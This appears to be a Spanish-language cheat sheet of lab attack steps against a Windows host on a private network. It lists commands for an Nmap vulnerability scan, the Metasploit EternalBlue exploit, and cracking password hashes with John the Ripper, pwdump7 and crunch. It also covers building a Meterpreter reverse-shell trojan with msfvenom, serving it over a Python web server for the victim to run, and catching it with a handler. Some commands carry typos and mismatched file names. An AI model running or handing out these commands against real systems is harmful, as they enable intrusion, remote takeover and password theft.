Buscar vulnerabilidad y hachear claves de pc

Nmap -p139,445 –script vuln 192.168.183.131

Msfconsole
Search ms17-010
Use exploit/Windows/snb/ms17-010/eternalblue
Show options
Set rhost 192.168.183.131
Set lport 4545
Exploit
Crear archivo para el hash nano hash.txt
Crear password.txt nano password.txt
Copiar diccionario al root cp/usr/share/john/password.lst /root
John username=duoc hash.txt –wordlist=password.txt

Crear troyano
Msfvenom -p Windows/meterpreter/reverse_tcp lhost=IPLOCAL LPORT=4545 -f exe >holitas.exe
Mkdir troyano
Mv lau.exe troyano
Levantar servidor web python3 -m http.server 80
Abrir otra terminal
Msfconsole
Use exploit/multi/handler
Show options
Set lhost 192.168.183.131
Set lport 4545
Exploit
Abrir ip Kali en Windows, descargar troyano y ejecutar

Crear diccionario
Descargar pwdump7 desde tabasco
Copiar la carpeta a c;/
Abrir cmd como administrador y buscar la carpeta
Ejecutar pwdump7 c:/pwdump7/pwdump7.exe
John username=duoc hash.txt –wordlist=password.txt

Crunch 9 9 -t duoc^20%% >diccionario.txt